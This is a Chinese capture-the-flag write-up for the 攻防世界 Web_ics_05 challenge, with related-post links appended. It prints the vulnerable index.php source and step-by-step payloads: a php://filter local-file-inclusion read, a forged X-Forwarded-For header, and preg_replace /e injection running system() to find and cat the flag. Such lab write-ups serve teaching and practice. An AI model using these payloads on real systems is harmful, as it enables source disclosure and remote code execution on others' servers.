题目：

题目描述：其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统
题目场景：

 

1.进入云平台设备中心界面，查看以下源码发现?page= ，（点下云平台设备维护中心url里也能出?page=字样）

===============================================================================================================================

2.看到?page=index，这里通过get方法传参，联想是否存在文件包含漏洞。

通过php://伪协议获取index.php源码。?page=php://filter/read=convert.base64-encode/resource=index.php

 3.获得index.php源码后发现是加密后的，通过解码工具解码结果如下：

<?php

error_reporting(0);

@session_start();

posix_setuid(1000);

?>

<!DOCTYPE HTML>

<html>

<head>

    <meta charset="utf-8">

    <meta name="renderer" content="webkit">

    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">

    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">

    <link rel="stylesheet" href="layui/css/layui.css" media="all">

    <title>设备维护中心</title>

    <meta charset="utf-8">

</head>

<body>

    <ul class="layui-nav">

        <li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>

    </ul>

    <fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">

        <legend>设备列表</legend>

    </fieldset>

    <table class="layui-hide" id="test"></table>

    <script type="text/html" id="switchTpl">

        <!-- 这里的 checked 的状态只是演示 -->

        <input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>

    </script>

    <script src="layui/layui.js" charset="utf-8"></script>

    <script>

    layui.use('table', function() {

        var table = layui.table,

            form = layui.form;

        table.render({

            elem: '#test',

            url: '/somrthing.json',

            cellMinWidth: 80,

            cols: [

                [

                    { type: 'numbers' },

                     { type: 'checkbox' },

                     { field: 'id', title: 'ID', width: 100, unresize: true, sort: true },

                     { field: 'name', title: '设备名', templet: '#nameTpl' },

                     { field: 'area', title: '区域' },

                     { field: 'status', title: '维护状态', minWidth: 120, sort: true },

                     { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }

                ]

            ],

            page: true

        });

    });

    </script>

    <script>

    layui.use('element', function() {

        var element = layui.element; //导航的hover效果、二级菜单等功能，需要依赖element模块

        //监听导航点击

        element.on('nav(demo)', function(elem) {

            //console.log(elem)

            layer.msg(elem.text());

        });

    });

    </script>

<?php

$page = $_GET[page];

if (isset($page)) {

if (ctype_alnum($page)) {

?>

    <br /><br /><br /><br />

    <div style="text-align:center">

        <p class="lead"><?php echo $page; die();?></p>

    <br /><br /><br /><br />

<?php

}else{

?>

        <br /><br /><br /><br />

        <div style="text-align:center">

            <p class="lead">

                <?php

                if (strpos($page, 'input') > 0) {

                    die();

                }

                if (strpos($page, 'ta:text') > 0) {

                    die();

                }

                if (strpos($page, 'text') > 0) {

                    die();

                }

                if ($page === 'index.php') {

                    die('Ok');

                }

                    include($page);

                    die();

                ?>

        </p>

        <br /><br /><br /><br />

<?php

}}

//方便的实现输入输出的功能,正在开发中的功能，只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];

    $replacement = $_GET[rep];

    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {

        preg_replace($pattern, $replacement, $subject);

    }else{

        die();

    }

}

?>

</body>

</html>

代码审计，发现重要部分如下：

 4.代码审计，发现如下信息：

　　1）需要在HTTP请求头伪造XFF,地址是：127.0.0.1

　　通过burpsuite可以伪造XFF

　　2）伪造XFF头来登入系统，同时利用preg_replace函数的漏洞：

　　preg_replace( pattern , replacement , subject ):当patter参数设置为/e的时候，参数replacement的代码会当成php代码执行。

　　因此可以构造payload为?pat=/test/e&rep=system(%22find+-iname+flag%22) &sub=test

改好包后，发送发现      ./s3chahahaDir/flag    

5.通过cd进入并查看。+会解析为空格，"会解析为%22， %26会解析为&

payload为?pat=/test/e&rep=system(%22cd+./s3chahahaDir/flag+ls%22) &sub=test

 6.找到了flag.php文件。构造payload为?pat=/test/e&rep=system(%22cat+./s3chahahaDir/flag/flag.php%22) &sub=test

查看结果，找到flag，如下：

==============================================================

总结：

(1)？page= 可以通过php://伪协议读取php源码，进行代码审计。

payload:   ?page=php://filter/read=convert.base64-encode/resource=index.php

(2)pre_replace()函数

preg_replace 函数执行一个正则表达式的搜索和替换。

语法

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分， 以 replacement 进行替换。

参数说明：

$pattern: 要搜索的模式，可以是字符串或一个字符串数组。

$replacement: 用于替换的字符串或字符串数组。

$subject: 要搜索替换的目标字符串或字符串数组。

$limit: 可选，对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1（无限制）。

$count: 可选，为替换执行的次数。
=====================================================================================
pre_replace()安全问题：
preg_replace( pattern , replacement , subject ):当patter参数设置为/e的时候，参数replacement的代码会当成php代码执行。

（3）常用url编码对应
+或%20对应空格
%22对应双引号
%26对应 &
（4）XFF X-Forwarded-For    LFI:Local File Included

攻防世界Web_ics_05的更多相关文章

  1. CTF--web 攻防世界web题 robots backup

    攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...

  2. CTF--web 攻防世界web题 get_post

    攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...

  3. 攻防世界 web进阶练习 NewsCenter

    攻防世界 web进阶练习 NewsCenter   题目是NewsCenter,没有提示信息.打开题目,有一处搜索框,搜索新闻.考虑xss或sql注入,随便输入一个abc,没有任何搜索结果,页面也没有 ...

  4. 【攻防世界】高手进阶 pwn200 WP

    题目链接 PWN200 题目和JarvisOJ level4很像 检查保护 利用checksec --file pwn200可以看到开启了NX防护 静态反编译结构 Main函数反编译结果如下 int ...

  5. XCTF攻防世界Web之WriteUp

    XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...

  6. 攻防世界 | CAT

    来自攻防世界官方WP | darkless师傅版本 题目描述 抓住那只猫 思路 打开页面,有个输入框输入域名,输入baidu.com进行测试 发现无任何回显,输入127.0.0.1进行测试. 发现已经 ...

  7. 攻防世界 robots题

    来自攻防世界 robots [原理] robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在, ...

  8. 【攻防世界】 高手进阶区 Recho WP

    0x00 考察点 考察点有三个: ROP链构造 Got表劫持 pwntools的shutdown功能 0x01 程序分析 上来三板斧 file一下 checksec --file XXX chmod ...

  9. CTF -攻防世界-crypto新手区（5~11）

    easy_RSA 首先如果你没有密码学基础是得去恶补一下的 然后步骤是先算出欧拉函数 之后提交注意是cyberpeace{********}这样的 ,博主以为是flag{}耽误了很长时间  明明没算错 ...

随机推荐

  1. 【Java】File类

    File类 File类的一个对象,代表一个文件或一个文件目录(俗称:文件夹) File类声明在java.io包下 File类中涉及到关于文件或文件目录的创建.删除.重命名.修改时间.文件大小等方法,并 ...

  2. ctf--web刷题记录 ACTF2020back up file 、极客大挑战2019php、secret file

    ACTF2020back up file backup file指的是备份文件,一般备份文件的后缀有".git" .".svn"." .swp&quo ...

  3. JUC之文章整理以及汇总

    JUC文章汇总 JUC部分将学习<JUC并发编程的艺术>和<尚硅谷-大厂必备技术之JUC并发编程>进行博客的整理,各文章中也会不断的完善和丰富. JUC概述 JUC的视频学习和 ...

  4. gin框架中项目的初始化

    核心知识点 json配置文件解析成结构体 将路由对应的接口抽离到单独的文件中,main函数中直接注册路由即可 项目目录图 项目代码 app.json代码 { "app_name": ...

  5. 集合框架-Vector集合

    1 package cn.itcast.p1.vector.demo; 2 3 import java.util.Enumeration; 4 import java.util.Iterator; 5 ...

  6. ORACLE数据库误操作DELETE并且提交数据库之后如何恢复被删除的数据

    一:根据时间来恢复: 1.查询数据库当前时间() select to_char(sysdate,'yyyy-mm-dd hh24:mi:ss') from dual; 2.查询删除数据时间点之前的数据 ...

  7. Oracle AWR报告采样分析

    DB time可以用来判断数据库整体是否繁忙,如果Elapsed*CPU个数小于DB time,代表数据库整体比较繁忙,CPU负载会比较高. Report Summary分为8个部分,最主要的是loa ...

  8. python12day

    昨日回顾 可迭代对象: 可以更新迭代的实实在在的值. 内部含有'__iter__'方法. str.tuple.dict.set.range 优点:操作方法多,灵活直观 缺点:占用内存. 迭代器: 可以 ...

  9. 好用的 NPL 词库分类。

    ## 好用的 NPL 词库分类. 专业的词库分类技术. 主要服务于金融领域的词库划分. 上图!对比一下我们的分词和jie等模型的效果.做的就是专业! ![在这里插入图片描述](https://img- ...

  10. Vue之 css3 样式重置 代码

    reset.css @charset "utf-8";html{background-color:#fff;color:#000;font-size:12px} body,ul,o ...